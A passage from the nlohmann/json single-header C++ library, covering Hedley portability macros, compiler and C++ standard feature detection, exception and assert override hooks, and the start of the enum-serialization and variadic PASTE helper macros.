>= 201112L)) || \\\n      (JSON_HEDLEY_HAS_FEATURE(c_static_assert) && !defined(JSON_HEDLEY_INTEL_CL_VERSION)) || \\\n      JSON_HEDLEY_GCC_VERSION_CHECK(6,0,0) || \\\n      JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n      defined(_Static_assert) \\\n    )\n#  define JSON_HEDLEY_STATIC_ASSERT(expr, message) _Static_assert(expr, message)\n#elif \\\n  (defined(__cplusplus) && (__cplusplus >= 201103L)) || \\\n  JSON_HEDLEY_MSVC_VERSION_CHECK(16,0,0) || \\\n  JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#  define JSON_HEDLEY_STATIC_ASSERT(expr, message) JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(static_assert(expr, message))\n#else\n#  define JSON_HEDLEY_STATIC_ASSERT(expr, message)\n#endif\n\n#if defined(JSON_HEDLEY_NULL)\n#undef JSON_HEDLEY_NULL\n#endif\n#if defined(__cplusplus)\n#if __cplusplus >= 201103L\n#define JSON_HEDLEY_NULL JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(nullptr)\n#elif defined(NULL)\n#define JSON_HEDLEY_NULL NULL\n#else\n#define JSON_HEDLEY_NULL JSON_HEDLEY_STATIC_CAST(void*, 0)\n#endif\n#elif defined(NULL)\n#define JSON_HEDLEY_NULL NULL\n#else\n#define JSON_HEDLEY_NULL ((void*) 0)\n#endif\n\n#if defined(JSON_HEDLEY_MESSAGE)\n#undef JSON_HEDLEY_MESSAGE\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wunknown-pragmas\")\n#  define JSON_HEDLEY_MESSAGE(msg) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS \\\n    JSON_HEDLEY_PRAGMA(message msg) \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#elif \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(4,4,0) || \\\n  JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#  define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(message msg)\n#elif JSON_HEDLEY_CRAY_VERSION_CHECK(5,0,0)\n#  define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(_CRI message msg)\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#  define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(message(msg))\n#elif JSON_HEDLEY_PELLES_VERSION_CHECK(2,0,0)\n#  define JSON_HEDLEY_MESSAGE(msg) JSON_HEDLEY_PRAGMA(message(msg))\n#else\n#  define JSON_HEDLEY_MESSAGE(msg)\n#endif\n\n#if defined(JSON_HEDLEY_WARNING)\n#undef JSON_HEDLEY_WARNING\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wunknown-pragmas\")\n#  define JSON_HEDLEY_WARNING(msg) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS \\\n    JSON_HEDLEY_PRAGMA(clang warning msg) \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#elif \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(4,8,0) || \\\n  JSON_HEDLEY_PGI_VERSION_CHECK(18,4,0) || \\\n  JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#  define JSON_HEDLEY_WARNING(msg) JSON_HEDLEY_PRAGMA(GCC warning msg)\n#elif \\\n  JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) || \\\n  JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#  define JSON_HEDLEY_WARNING(msg) JSON_HEDLEY_PRAGMA(message(msg))\n#else\n#  define JSON_HEDLEY_WARNING(msg) JSON_HEDLEY_MESSAGE(msg)\n#endif\n\n#if defined(JSON_HEDLEY_REQUIRE)\n#undef JSON_HEDLEY_REQUIRE\n#endif\n#if defined(JSON_HEDLEY_REQUIRE_MSG)\n#undef JSON_HEDLEY_REQUIRE_MSG\n#endif\n#if JSON_HEDLEY_HAS_ATTRIBUTE(diagnose_if)\n#  if JSON_HEDLEY_HAS_WARNING(\"-Wgcc-compat\")\n#    define JSON_HEDLEY_REQUIRE(expr) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wgcc-compat\\\"\") \\\n    __attribute__((diagnose_if(!(expr), #expr, \"error\"))) \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#    define JSON_HEDLEY_REQUIRE_MSG(expr,msg) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wgcc-compat\\\"\") \\\n    __attribute__((diagnose_if(!(expr), msg, \"error\"))) \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#  else\n#    define JSON_HEDLEY_REQUIRE(expr) __attribute__((diagnose_if(!(expr), #expr, \"error\")))\n#    define JSON_HEDLEY_REQUIRE_MSG(expr,msg) __attribute__((diagnose_if(!(expr), msg, \"error\")))\n#  endif\n#else\n#  define JSON_HEDLEY_REQUIRE(expr)\n#  define JSON_HEDLEY_REQUIRE_MSG(expr,msg)\n#endif\n\n#if defined(JSON_HEDLEY_FLAGS)\n#undef JSON_HEDLEY_FLAGS\n#endif\n#if JSON_HEDLEY_HAS_ATTRIBUTE(flag_enum) && (!defined(__cplusplus) || JSON_HEDLEY_HAS_WARNING(\"-Wbitfield-enum-conversion\"))\n#define JSON_HEDLEY_FLAGS __attribute__((__flag_enum__))\n#else\n#define JSON_HEDLEY_FLAGS\n#endif\n\n#if defined(JSON_HEDLEY_FLAGS_CAST)\n#undef JSON_HEDLEY_FLAGS_CAST\n#endif\n#if JSON_HEDLEY_INTEL_VERSION_CHECK(19,0,0)\n#  define JSON_HEDLEY_FLAGS_CAST(T, expr) (__extension__ ({ \\\n        JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n        _Pragma(\"warning(disable:188)\") \\\n        ((T) (expr)); \\\n        JSON_HEDLEY_DIAGNOSTIC_POP \\\n    }))\n#else\n#  define JSON_HEDLEY_FLAGS_CAST(T, expr) JSON_HEDLEY_STATIC_CAST(T, expr)\n#endif\n\n#if defined(JSON_HEDLEY_EMPTY_BASES)\n#undef JSON_HEDLEY_EMPTY_BASES\n#endif\n#if \\\n    (JSON_HEDLEY_MSVC_VERSION_CHECK(19,0,23918) && !JSON_HEDLEY_MSVC_VERSION_CHECK(20,0,0)) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_EMPTY_BASES __declspec(empty_bases)\n#else\n#define JSON_HEDLEY_EMPTY_BASES\n#endif\n\n       /* Remaining macros are deprecated. */\n\n#if defined(JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK)\n#undef JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK\n#endif\n#if defined(__clang__)\n#define JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK(major,minor,patch) (0)\n#else\n#define JSON_HEDLEY_GCC_NOT_CLANG_VERSION_CHECK(major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_CLANG_HAS_ATTRIBUTE)\n#undef JSON_HEDLEY_CLANG_HAS_ATTRIBUTE\n#endif\n#define JSON_HEDLEY_CLANG_HAS_ATTRIBUTE(attribute) JSON_HEDLEY_HAS_ATTRIBUTE(attribute)\n\n#if defined(JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE)\n#undef JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE\n#endif\n#define JSON_HEDLEY_CLANG_HAS_CPP_ATTRIBUTE(attribute) JSON_HEDLEY_HAS_CPP_ATTRIBUTE(attribute)\n\n#if defined(JSON_HEDLEY_CLANG_HAS_BUILTIN)\n#undef JSON_HEDLEY_CLANG_HAS_BUILTIN\n#endif\n#define JSON_HEDLEY_CLANG_HAS_BUILTIN(builtin) JSON_HEDLEY_HAS_BUILTIN(builtin)\n\n#if defined(JSON_HEDLEY_CLANG_HAS_FEATURE)\n#undef JSON_HEDLEY_CLANG_HAS_FEATURE\n#endif\n#define JSON_HEDLEY_CLANG_HAS_FEATURE(feature) JSON_HEDLEY_HAS_FEATURE(feature)\n\n#if defined(JSON_HEDLEY_CLANG_HAS_EXTENSION)\n#undef JSON_HEDLEY_CLANG_HAS_EXTENSION\n#endif\n#define JSON_HEDLEY_CLANG_HAS_EXTENSION(extension) JSON_HEDLEY_HAS_EXTENSION(extension)\n\n#if defined(JSON_HEDLEY_CLANG_HAS_DECLSPEC_DECLSPEC_ATTRIBUTE)\n#undef JSON_HEDLEY_CLANG_HAS_DECLSPEC_DECLSPEC_ATTRIBUTE\n#endif\n#define JSON_HEDLEY_CLANG_HAS_DECLSPEC_ATTRIBUTE(attribute) JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE(attribute)\n\n#if defined(JSON_HEDLEY_CLANG_HAS_WARNING)\n#undef JSON_HEDLEY_CLANG_HAS_WARNING\n#endif\n#define JSON_HEDLEY_CLANG_HAS_WARNING(warning) JSON_HEDLEY_HAS_WARNING(warning)\n\n#endif /* !defined(JSON_HEDLEY_VERSION) || (JSON_HEDLEY_VERSION < X) */\n\n\n// This file contains all internal macro definitions (except those affecting ABI)\n// You MUST include macro_unscope.hpp at the end of json.hpp to undef all of them\n\n// #include <nlohmann/detail/abi_macros.hpp>\n\n\n// exclude unsupported compilers\n#if !defined(JSON_SKIP_UNSUPPORTED_COMPILER_CHECK)\n#if defined(__clang__)\n#if (__clang_major__ * 10000 + __clang_minor__ * 100 + __clang_patchlevel__) < 30400\n#error \"unsupported Clang version - see https://github.com/nlohmann/json#supported-compilers\"\n#endif\n#elif defined(__GNUC__) && !(defined(__ICC) || defined(__INTEL_COMPILER))\n#if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) < 40800\n#error \"unsupported GCC version - see https://github.com/nlohmann/json#supported-compilers\"\n#endif\n#endif\n#endif\n\n// C++ language standard detection\n// if the user manually specified the used c++ version this is skipped\n#if !defined(JSON_HAS_CPP_20) && !defined(JSON_HAS_CPP_17) && !defined(JSON_HAS_CPP_14) && !defined(JSON_HAS_CPP_11)\n#if (defined(__cplusplus) && __cplusplus >= 202002L) || (defined(_MSVC_LANG) && _MSVC_LANG >= 202002L)\n#define JSON_HAS_CPP_20\n#define JSON_HAS_CPP_17\n#define JSON_HAS_CPP_14\n#elif (defined(__cplusplus) && __cplusplus >= 201703L) || (defined(_HAS_CXX17) && _HAS_CXX17 == 1) // fix for issue #464\n#define JSON_HAS_CPP_17\n#define JSON_HAS_CPP_14\n#elif (defined(__cplusplus) && __cplusplus >= 201402L) || (defined(_HAS_CXX14) && _HAS_CXX14 == 1)\n#define JSON_HAS_CPP_14\n#endif\n// the cpp 11 flag is always specified because it is the minimal required version\n#define JSON_HAS_CPP_11\n#endif\n\n#ifdef __has_include\n#if __has_include(<version>)\n#include <version>\n#endif\n#endif\n\n#if !defined(JSON_HAS_FILESYSTEM) && !defined(JSON_HAS_EXPERIMENTAL_FILESYSTEM)\n#ifdef JSON_HAS_CPP_17\n#if defined(__cpp_lib_filesystem)\n#define JSON_HAS_FILESYSTEM 1\n#elif defined(__cpp_lib_experimental_filesystem)\n#define JSON_HAS_EXPERIMENTAL_FILESYSTEM 1\n#elif !defined(__has_include)\n#define JSON_HAS_EXPERIMENTAL_FILESYSTEM 1\n#elif __has_include(<filesystem>)\n#define JSON_HAS_FILESYSTEM 1\n#elif __has_include(<experimental/filesystem>)\n#define JSON_HAS_EXPERIMENTAL_FILESYSTEM 1\n#endif\n\n// std::filesystem does not work on MinGW GCC 8: https://sourceforge.net/p/mingw-w64/bugs/737/\n#if defined(__MINGW32__) && defined(__GNUC__) && __GNUC__ == 8\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#endif\n\n// no filesystem support before GCC 8: https://en.cppreference.com/w/cpp/compiler_support\n#if defined(__GNUC__) && !defined(__clang__) && __GNUC__ < 8\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#endif\n\n// no filesystem support before Clang 7: https://en.cppreference.com/w/cpp/compiler_support\n#if defined(__clang_major__) && __clang_major__ < 7\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#endif\n\n// no filesystem support before MSVC 19.14: https://en.cppreference.com/w/cpp/compiler_support\n#if defined(_MSC_VER) && _MSC_VER < 1914\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#endif\n\n// no filesystem support before iOS 13\n#if defined(__IPHONE_OS_VERSION_MIN_REQUIRED) && __IPHONE_OS_VERSION_MIN_REQUIRED < 130000\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#endif\n\n// no filesystem support before macOS Catalina\n#if defined(__MAC_OS_X_VERSION_MIN_REQUIRED) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101500\n#undef JSON_HAS_FILESYSTEM\n#undef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#endif\n#endif\n#endif\n\n#ifndef JSON_HAS_EXPERIMENTAL_FILESYSTEM\n#define JSON_HAS_EXPERIMENTAL_FILESYSTEM 0\n#endif\n\n#ifndef JSON_HAS_FILESYSTEM\n#define JSON_HAS_FILESYSTEM 0\n#endif\n\n#ifndef JSON_HAS_THREE_WAY_COMPARISON\n#if defined(__cpp_impl_three_way_comparison) && __cpp_impl_three_way_comparison >= 201907L \\\n        && defined(__cpp_lib_three_way_comparison) && __cpp_lib_three_way_comparison >= 201907L\n#define JSON_HAS_THREE_WAY_COMPARISON 1\n#else\n#define JSON_HAS_THREE_WAY_COMPARISON 0\n#endif\n#endif\n\n#ifndef JSON_HAS_RANGES\n    // ranges header shipping in GCC 11.1.0 (released 2021-04-27) has syntax error\n#if defined(__GLIBCXX__) && __GLIBCXX__ == 20210427\n#define JSON_HAS_RANGES 0\n#elif defined(__cpp_lib_ranges)\n#define JSON_HAS_RANGES 1\n#else\n#define JSON_HAS_RANGES 0\n#endif\n#endif\n\n#ifndef JSON_HAS_STATIC_RTTI\n#if !defined(_HAS_STATIC_RTTI) || _HAS_STATIC_RTTI != 0\n#define JSON_HAS_STATIC_RTTI 1\n#else\n#define JSON_HAS_STATIC_RTTI 0\n#endif\n#endif\n\n#ifdef JSON_HAS_CPP_17\n#define JSON_INLINE_VARIABLE inline\n#else\n#define JSON_INLINE_VARIABLE\n#endif\n\n#if JSON_HEDLEY_HAS_ATTRIBUTE(no_unique_address)\n#define JSON_NO_UNIQUE_ADDRESS [[no_unique_address]]\n#else\n#define JSON_NO_UNIQUE_ADDRESS\n#endif\n\n// disable documentation warnings on clang\n#if defined(__clang__)\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wdocumentation\"\n#pragma clang diagnostic ignored \"-Wdocumentation-unknown-command\"\n#endif\n\n// allow disabling exceptions\n#if (defined(__cpp_exceptions) || defined(__EXCEPTIONS) || defined(_CPPUNWIND)) && !defined(JSON_NOEXCEPTION)\n#define JSON_THROW(exception) throw exception\n#define JSON_TRY try\n#define JSON_CATCH(exception) catch(exception)\n#define JSON_INTERNAL_CATCH(exception) catch(exception)\n#else\n#include <cstdlib>\n#define JSON_THROW(exception) std::abort()\n#define JSON_TRY if(true)\n#define JSON_CATCH(exception) if(false)\n#define JSON_INTERNAL_CATCH(exception) if(false)\n#endif\n\n// override exception macros\n#if defined(JSON_THROW_USER)\n#undef JSON_THROW\n#define JSON_THROW JSON_THROW_USER\n#endif\n#if defined(JSON_TRY_USER)\n#undef JSON_TRY\n#define JSON_TRY JSON_TRY_USER\n#endif\n#if defined(JSON_CATCH_USER)\n#undef JSON_CATCH\n#define JSON_CATCH JSON_CATCH_USER\n#undef JSON_INTERNAL_CATCH\n#define JSON_INTERNAL_CATCH JSON_CATCH_USER\n#endif\n#if defined(JSON_INTERNAL_CATCH_USER)\n#undef JSON_INTERNAL_CATCH\n#define JSON_INTERNAL_CATCH JSON_INTERNAL_CATCH_USER\n#endif\n\n// allow overriding assert\n#if !defined(JSON_ASSERT)\n#include <cassert> // assert\n#define JSON_ASSERT(x) assert(x)\n#endif\n\n// allow to access some private functions (needed by the test suite)\n#if defined(JSON_TESTS_PRIVATE)\n#define JSON_PRIVATE_UNLESS_TESTED public\n#else\n#define JSON_PRIVATE_UNLESS_TESTED private\n#endif\n\n/*!\n@brief macro to briefly define a mapping between an enum and JSON\n@def NLOHMANN_JSON_SERIALIZE_ENUM\n@since version 3.4.0\n*/\n#define NLOHMANN_JSON_SERIALIZE_ENUM(ENUM_TYPE, ...)                                            \\\n    template<typename BasicJsonType>                                                            \\\n    inline void to_json(BasicJsonType& j, const ENUM_TYPE& e)                                   \\\n    {                                                                                           \\\n        static_assert(std::is_enum<ENUM_TYPE>::value, #ENUM_TYPE \" must be an enum!\");          \\\n        static const std::pair<ENUM_TYPE, BasicJsonType> m[] = __VA_ARGS__;                     \\\n        auto it = std::find_if(std::begin(m), std::end(m),                                      \\\n                               [e](const std::pair<ENUM_TYPE, BasicJsonType>& ej_pair) -> bool  \\\n        {                                                                                       \\\n            return ej_pair.first == e;                                                          \\\n        });                                                                                     \\\n        j = ((it != std::end(m)) ? it : std::begin(m))->second;                                 \\\n    }                                                                                           \\\n    template<typename BasicJsonType>                                                            \\\n    inline void from_json(const BasicJsonType& j, ENUM_TYPE& e)                                 \\\n    {                                                                                           \\\n        static_assert(std::is_enum<ENUM_TYPE>::value, #ENUM_TYPE \" must be an enum!\");          \\\n        static const std::pair<ENUM_TYPE, BasicJsonType> m[] = __VA_ARGS__;                     \\\n        auto it = std::find_if(std::begin(m), std::end(m),                                      \\\n                               [&j](const std::pair<ENUM_TYPE, BasicJsonType>& ej_pair) -> bool \\\n        {                                                                                       \\\n            return ej_pair.second == j;                                                         \\\n        });                                                                                     \\\n        e = ((it != std::end(m)) ? it : std::begin(m))->first;                                  \\\n    }\n\n// Ugly macros to avoid uglier copy-paste when specializing basic_json. They\n// may be removed in the future once the class is split.\n\n#define NLOHMANN_BASIC_JSON_TPL_DECLARATION                                \\\n    template<template<typename, typename, typename...> class ObjectType,   \\\n             template<typename, typename...> class ArrayType,              \\\n             class StringType, class BooleanType, class NumberIntegerType, \\\n             class NumberUnsignedType, class NumberFloatType,              \\\n             template<typename> class AllocatorType,                       \\\n             template<typename, typename = void> class JSONSerializer,     \\\n             class BinaryType,                                             \\\n             class CustomBaseClass>\n\n#define NLOHMANN_BASIC_JSON_TPL                                            \\\n    basic_json<ObjectType, ArrayType, StringType, BooleanType,             \\\n    NumberIntegerType, NumberUnsignedType, NumberFloatType,                \\\n    AllocatorType, JSONSerializer, BinaryType, CustomBaseClass>\n\n// Macros to simplify conversion from/to types\n\n#define NLOHMANN_JSON_EXPAND( x ) x\n#define NLOHMANN_JSON_GET_MACRO(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, NAME,...) NAME\n#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\\n        NLOHMANN_JSON_PASTE64, \\\n        NLOHMANN_JSON_PASTE63, \\\n        NLOHMANN_JSON_PASTE62, \\\n        NLOHMANN_JSON_PASTE61, \\\n        NLOHMANN_JSON_PASTE60, \\\n        NLOHMANN_JSON_PASTE59, \\\n        NLOHMANN_JSON_PASTE58, \\\n        NLOHMANN_JSON_PASTE57, \\\n        NLOHMANN_JSON_PASTE56, \\\n        NLOHMANN_JSON_PASTE55, \\\n        NLOHMANN_JSON_PASTE54, \\\n        NLOHMANN_JSON_PASTE53, \\\n        NLOHMANN_JSON_PASTE52, \\\n        NLOHMANN_JSON_PASTE51, \\\n        NLOHMANN_JSON_PASTE50, \\\n        NLOHMANN_JSON_PASTE49, \\\n        NLOHMANN_JSON_PASTE48, \\\n        NLOHMANN_JSON_PASTE47, \\\n        NLOHMANN_JSON_PASTE46, \\\n        NLOHMANN_JSON_PASTE45, \\\n        NLOHMANN_JSON_PASTE44, \\\n        NLOHMANN_JSON_PASTE43, \\\n        NLOHMANN_JSON_PASTE42, \\\n        NLOHMANN_JSON_PASTE41, \\\n        NLOHMANN_JSON_PASTE40, \\\n        NLOHMANN_JSON_PASTE39, \\\n        NLOHMANN_JSON_PASTE38, \\\n        NLOHMANN_JSON_PASTE37, \\\n        NLOHMANN_JSON_PASTE36, \\\n        NLOHMANN_JSON_PASTE35, \\\n        NLOHMANN_JSON_PASTE34, \\\n        NLOHMANN_JSON_PASTE33, \\\n        NLOHMANN_JSON_PASTE32, \\\n        NLOHMANN_JSON_PASTE31, \\\n        NLOHMANN_JSON_PASTE30, \\\n        NLOHMANN_JSON_PASTE29, \\\n        NLOHMANN_JSON_PASTE28, \\\n        NLOHMANN_JSON_PASTE27, \\\n        NLOHMANN_JSON_PASTE26, \\\n        NLOHMANN_JSON_PASTE25, \\\n        NLOHMANN_JSON_PASTE24, \\\n        NLOHMANN_JSON_PASTE23, \\\n        NLOHMANN_JSON_PASTE22, \\\n        NLOHMANN_JSON_PASTE21, \\\n        NLOHMANN_JSON_PASTE20, \\\n        NLOHMANN_JSON_PASTE19, \\\n        NLOHMANN_JSON_PASTE18, \\\n        NLOHMANN_JSON_PASTE17, \\\n        NLOHMANN_JSON_PASTE16, \\\n        NLOHMANN_JSON_PASTE15, \\\n        NLOHMANN_JSON_PASTE14, \\\n        NLOHMANN_JSON_PASTE13, \\\n        NLOHMANN_JSON_PASTE12, \\\n        NLOHMANN_JSON_PASTE11, \\\n        NLOHMANN_JSON_PASTE10, \\\n        NLOHMANN_JSON_PASTE9, \\\n        NLOHMANN_JSON_PASTE8, \\\n        NLOHMANN_JSON_PASTE7, \\\n        NLOHMANN_JSON_PASTE6, \\\n        NLOHMANN_JSON_PASTE5, \\\n        NLOHMANN_JSON_PASTE4, \\\n        NLOHMANN_JSON_PASTE3, \\\n        NLOHMANN_JSON_PASTE2, \\\n        NLOHMANN_JSON_PASTE1)(__VA_ARGS__))\n#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)\n#define NLOHMANN_JSON_PASTE3(func, v1, v2) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE2(func, v2)\n#define NLOHMANN_JSON_PASTE4(func, v1, v2, v3) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE3(func, v2, v3)\n#define NLOHMANN_JSON_PASTE5(func, v1, v2, v3, v4) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE4(func, v2, v3, v4)\n#define NLOHMANN_JSON_PASTE6(func, v1, v2, v3, v4, v5) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE5(func, v2, v3, v4, v5)\n#define NLOHMANN_JSON_PASTE7(func, v1, v2, v3, v4, v5, v6) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE6(func, v2, v3, v4, v5, v6)\n#define NLOHMANN_JSON_PASTE8(func, v1, v2, v3, v4, v5, v6, v7) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE7(func, v2, v3, v4, v5, v6, v7)\n#define NLOHMANN_JSON_PASTE9(func, v1, v2, v3, v4, v5, v6, v7, v8) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE8(func, v2, v3, v4, v5, v6, v7, v8)\n#define NLOHMANN_JSON_PASTE10(func, v1, v2, v3, v4, v5, v6, v7, v8, v9) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE9(func, v2, v3, v4, v5, v6, v7, v8, v9)\n#define NLOHMANN_JSON_PASTE11(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE10(func, v2, v3, v4, v5, v6, v7, v8, v9, v10)\n#define NLOHMANN_JSON_PASTE12(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE11(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11)\n#define NLOHMANN_JSON_PASTE13(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE12(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12)\n#define NLOHMANN_JSON_PASTE14(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE13(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13)\n#define NLOHMANN_JSON_PASTE15(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE14(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14)\n#define NLOHMANN_JSON_PASTE16(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE15(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15)\n#define NLOHMANN_JSON_PASTE17(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE16(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16)\n#define NLOHMANN_JSON_PASTE18(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE17(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17)\n#define NLOHMANN_JSON_PASTE19(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE18(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18)\n#define NLOHMANN_JSON_PASTE20(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE19(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19)\n#define NLOHMANN_JSON_PASTE21(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE20(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20)\n#define NLOHMANN_JSON_PASTE22(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE21(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21)\n#define NLOHMANN_JSON_PASTE23(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE22(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22)\n#define NLOHMANN_JSON_PASTE24(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE23(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23)\n#define NLOHMANN_JSON_PASTE25(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE24(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24)\n#define NLOHMANN_JSON_PASTE26(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE25(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, 